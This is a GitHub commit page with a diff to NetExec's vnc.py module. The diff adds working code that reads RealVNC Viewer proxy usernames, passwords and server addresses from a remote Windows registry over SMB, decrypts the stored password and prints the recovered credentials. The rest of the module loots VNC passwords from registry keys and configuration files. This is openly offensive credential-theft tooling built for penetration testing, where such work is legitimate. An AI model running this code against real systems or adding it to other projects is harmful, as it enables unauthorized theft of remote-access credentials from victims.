Skip to content

Commit 193d49c

Browse files
committed
Add realvnc proxy credential looting
1 parent e1f4759 commit 193d49c

1 file changed

Lines changed: 27 additions & 2 deletions

File tree

nxc/modules/vnc.py

Lines changed: 27 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ class NXCModule:
1717
"""
1818

1919
name = "vnc"
20-
description = "Loot VNC Passwords"
20+
description = "Loot Passwords from VNC server and client configurations"
2121
supported_protocols = ["smb"]
2222
opsec_safe = True
2323
multiple_hosts = True
@@ -141,6 +141,31 @@ def vnc_from_registry(self, remote_ops):
141141
continue
142142
self.context.log.highlight(f"[{vnc_name}] Password: {password.decode('latin-1')}")
143143

144+
vnc_users = (
145+
("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"),
146+
)
147+
for vnc_name, path, user, password, server in vnc_users:
148+
cred = {}
149+
try:
150+
value = self.reg_query_value(remote_ops, path, password).encode().rstrip(b"\x00").decode()
151+
value = unhexlify(value)
152+
except Exception as e:
153+
print(e)
154+
if "ERROR_FILE_NOT_FOUND" not in str(e):
155+
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
156+
continue
157+
if value is None:
158+
continue
159+
cred["password"] = self.recover_vncpassword(value).decode()
160+
try:
161+
cred["server"] = self.reg_query_value(remote_ops, path, server)
162+
cred["user"] = self.reg_query_value(remote_ops, path, user)
163+
except Exception as e:
164+
if "ERROR_FILE_NOT_FOUND" not in str(e):
165+
self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}")
166+
continue
167+
self.context.log.highlight(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}")
168+
144169
def split_len(self, seq, length):
145170
return [seq[i:i + length] for i in range(0, len(seq), length)]
146171

@@ -184,7 +209,7 @@ def vnc_from_filesystem(self, dploot_conn):
184209
file_content = dploot_conn.readFile(self.share, file)
185210
if file_content is not None:
186211
regex_passwd = [rb"passwd=[0-9A-F]+", rb"passwd2=[0-9A-F]+"]
187-
for regex in regex_passwd:
212+
for regex in regex_passwd:
188213
passwds_encrypted = re.findall(regex, file_content)
189214
for passwd_encrypted in passwds_encrypted:
190215
passwd_encrypted = passwd_encrypted.split(b"=")[-1]

0 commit comments

Comments
 (0)